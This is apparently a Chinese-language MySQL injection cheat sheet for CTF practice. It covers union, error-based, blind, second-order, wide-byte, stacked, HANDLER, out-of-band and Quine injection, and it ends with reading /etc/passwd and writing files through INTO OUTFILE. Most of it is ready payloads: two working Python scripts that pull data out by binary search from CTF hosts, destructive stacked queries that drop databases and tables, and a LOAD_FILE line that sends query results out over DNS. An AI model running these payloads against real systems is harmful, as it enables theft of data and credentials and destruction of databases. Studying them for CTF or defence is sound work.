Mysql Injections

前置

Web

  • Spaces:如果未编码,可能表示请求数据的结束
  • &: 解释为参数分隔符
  • #: 解释为片段标识符

GET请求#-- ? (?可以为任意字符) 表示注释,可以使它们后面的语句不被执行,可以使用--%20,把空格转换为urlcode编码格式,同理把#变成%23,也可以注释

POST请求#--?都能注释后面的语句

schema结构:

  • information_schema.schemata:记录数据库信息的表
  • information_schema.tables:记录表名信息的表
  • information_schema.columns:记录列名信息的表
  • schema_name:数据库名
  • table_name:表名
  • column_name:列名
  • table_schema:表的数据库名

联合注入

可以使用 union 语句,且有回显位

常用语句和函数

  • order by:对指定的字段对结果集进行排序,如果没有该字段就会报错,sql注入用此来判断字段数
  • select:从数据库中选取数据
  • union:合并两个或多个select语句,select 查询的字段数需要一致
  • where:有条件地从表中选取数据
  • limit 0,1:从0开始的1个数据
  • database():返回当前数据库
  • concat(str1,str2,…,strn) 将多个数据连成字符串
  • concat_ws(sep,str1,str2,…strn) 将多个数据连成字符串,中间用sep分隔
  • group_concat(str1,str2,…,strn) 将多个数据连成字符串,中间用’,’分隔

后端代码

1
SELECT * FROM 表名 WHERE id='$id' LIMIT 0,1;

注入:闭合'注释后面的语句

1
2
3
4
5
?id=' union select 字段1,……,字段2,table_name from information_schema.tables where schema_name=database() %23

?id=' union select 字段1,……,字段2,table_name from information_schema.columns where schema_name=database() where table_name="表名" %23

?id=' union select 字段1,……,字段2,列名 from 库名(表不重名可省略).表名 %23

报错注入

不能使用 union()函数,或者没有回显位,源代码中需要有数据库报错的函数

updatexml

updatexml(xml_doument,XPath_string,new_value):

  • 第一个参数:是string格式,为XML文档对象的名称
  • 第二个参数:代表路径,Xpath格式的字符串例如
  • 第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax),最多输出32位,主要利用第二个参数,其他参数任意

1
?id=1' and updatexml(1,concat(0x7e,(select database())),1) %23

extractvalue

extractvalue(XML_document,xpath_string)

  • 第一个参数:string格式,为XML文档对象的名称
  • 第二个参数:xpath_string(xpath格式的字符串)

与updatexml用法相似,最多输出32位

1
?id=1' and extractvalue(1,concat(0x7e,(select database()))) %23

floor

floor(num) 返回小于等于num该值的最大整数

count(num) 统计数量

1
select count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from users group by a;

exp

exp(num) 返回以e为底,x的对数

当x>=709,exp()就会引起溢出错误,可以用 ~ 运算符按位取反的方式得到一个最大值

1
exp(~(select database()));

盲注

布尔注入|时间注入

GET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

result = ""
i = 0
url ='http://d58efe1f-518c-4f9a-8fb1-bb2ece34dbc0.node4.buuoj.cn:81/?stunum='
for i in range(1, 50):
left = 32
right = 127
while left < right:
mid = (left + right) >> 1
time.sleep(0.1)

payload = f"{url}1/**/and/**/(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})%23-"
#payload = f"{url}1'/**/and/**/(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='users_flag')),{i},1))>{mid})%23"
#payload = f"{url}1'/**/and/**/(ascii(mid((select/**/group_concat(password)from(users_flag)),{i},1))>{mid})%23"
#payload = f"1^(ascii(mid((select(flag)from(flag)),{i},1))>{mid})%23"

s = requests.get(url=payload)
if 'Hi admin' in s.text:
left = mid + 1
else:
right = mid
if left != 32:
result += chr(left)
else:
break
print(result)

POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time

result = ""
i = 0
url ='http://114.67.175.224:10676/'
for i in range(1, 50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
time.sleep(0.1)

payload = f"admin'/**/and/**/(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})#"
#payload = f"id=1')/**/and/**/(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='biwjlye91i')),{i},1))>{mid})%23"
#payload = f"id=1')/**/and/**/(ascii(mid((select/**/group_concat(secret_V56J)from(biwjlye91i)),{i},1))>{mid})%23"
#payload = f"1^(ascii(mid((select(flag)from(flag)),{i},1))>{mid})"

data = {
'password': '123456',
'username': 'payload'
}

r = requests.post(url=url, data=data)
if 'password error!' in str(r.content):
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

Cookie,User-Agent,Refere

注入方式大差不差,有的需要编码

二次注入

又名:存储型注入

原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。

Example:

在处理注册登录的时候,对输入的用户名中的敏感字符执行转义操作,进行完对应的SQL查询后再将数据存入数据库。比如:输入了admin' #,网站则会将 ‘ 和 # 转义后进行SQL查询,但是最后存入数据库中的结果仍然是 admin' #(没有存储转义的数据)

第一次向数据库插入数据存在转义的机制,无法通过第一次SQL的构造就实现注入,但是此时目标数据库中已经存在了SQL注入的注释语句,只要想办法让网站自己去调用这条数据,那么就会造成二次注入

假设成功登录后,在修改密码时网站会自动从数据库中提取你的用户名,由于网站默认数据库中的数据都是安全的,因此当提取数据库中的用户名 admin’ # 的时候,并不会进行转义操作,而是直接拼接到SQL语句中执行。

修改密码执行语句如下:

1
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass' 

当我们修改密码的时候,网站则会直接提取数据库中的 admin’ # 拼接到SQL语句中执行,变成:

1
UPDATE users SET PASSWORD='$pass' WHERE username='admin' #' and password='$curr_pass'

此时我们的用户是 admin’ # 但是却成功的修改了admin账户的密码。这样我们就可以登录admin账户

宽字节

输入的 ‘ 直接被转义成\了,在一般情况下,此处是不存在SQL注入漏洞的,不过有一个特例,当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式为 %df’,因为反斜杠的编码为 %5c,而在GBK编码中,%df%5c 是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误

数据库转码:mysql_query(“SET NAME gbk”);

1
2
3
4
5
?id=%df' %23
转为
?id=%df\' %23
?id=%df%5c' %23
?id=連' #

堆叠注入

mysqli_multi_query(mysqli $mysql, string $query): bool

执行一个或多个由分号分隔的查询

1
2
3
4
5
6
7
?id=1';show databases;
?id=1';show tables;
?id=1';show columns from users;
可以插入数据,删除数据,更新数据,修改表名、数据库名......
?id=1';drop database security;
?id=1';drop table users;
?id=1';insert into users(username,password) values('happy','coder');

SQL预处理

Prepared SQL Statement Syntax (SQL预处理语句语法)

1
2
3
4
5
6
7
8
PREPARE stmt_name FROM preparable_stmt;
stmt_name 是 preparable_stmt(SQL语句) 的一个别名

EXECUTE stmt_name [USING @var_name [, @var_name] ...];
执行 stmt_name 的语句,可以选择变量

{DEALLOCATE | DROP} PREPARE stmt_name;
释放 stmt_name
1
2
SET @stmt_name1,@stmt_name2;
对用户变量进行赋值,变量名前没有@就是对局部变量赋值

将 select * from 1919810931114514 进行16进制编码,prepare 会进行编码转换

1
';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare qwe from @a;execute qwe;%23

Handler

HANDLER 语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HANDLER table_name OPEN [ [AS] a]
打开表,AS a(起别名为a)

HANDLER table_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
指定从哪一行开始,通过NEXT继续浏览

HANDLER table_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
默认获取数据表第一行,通过将 READ FIRST 改成 READ NEXT 依次获取其它行

HANDLER table_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)

HANDLER table_name CLOSE
关闭表
1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

修改表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
RENAME TABLE old_name TO new_name;
修改表名

alter table " table_name" add " column_name" type;
添加列

alter table " table_name" drop " column_name" type;
删除列

alter table " table_name" alter column " column_name" type;
alter table " table_name" change " column1" " column2" type;
改变列的数据类型

alter table "table_name" rename "column1" to "column2";
修改列名
1
2
3
id int unsigned not Null auto_increment primary key;
设置 id 为无符号整形,该列值不可以为空,并不可以重复,而且自增
PRIMAPY 是主键的意思,表示定义的该列值在表中是唯一的意思,不可以有重复
1
2
3
1'; rename table words to qwe; rename table `1919810931114514` to words;alter table qwe add id int unsigned not Null auto_increment primary key;alter table qwe change flag data varchar(100);#

1'or 1 #

外带注入

1
SELECT LOAD_FILE(CONCAT('\\\\',(要查询的语句),'.xx.xx.xx.xx'));

Sql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。如”admin”等同于”admin “(admin后有一个空格),查询的结果一样

1
2
SELECT * FROM users WHERE username='admin';
SELECT * FROM users WHERE username='admin ';

Quine注入

Quine: 指的是自产生程序,简单的说,就是输入的sql语句与要输出的一致

1
2
3
4
5
6
7
8
9
select * from users uname = "zhangsan",
passwd = '1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

1'union/**/select/**/
replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')

replace("1'union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#",char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')

'1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

Privileges

当前用户

1
2
3
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

是否具有超级管理员权限

1
SELECT super_priv FROM mysql.user	# Y | N

显示当前用户root权限

1
SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"

LOAD_FILE

读取文件

1
SELECT LOAD_FILE('/etc/passwd');

Writing Files

条件:

  1. FILE已启用权限的用户
  2. MySQL 全局secure_file_priv变量未启用
  3. 对服务器上我们要写入的位置具有写权限

查看 secure_file_priv 权限,值为空,则可以读取/写入文件到任意位置。

1
2
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

写入文件

1
2
SELECT * from users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
⬆︎TOP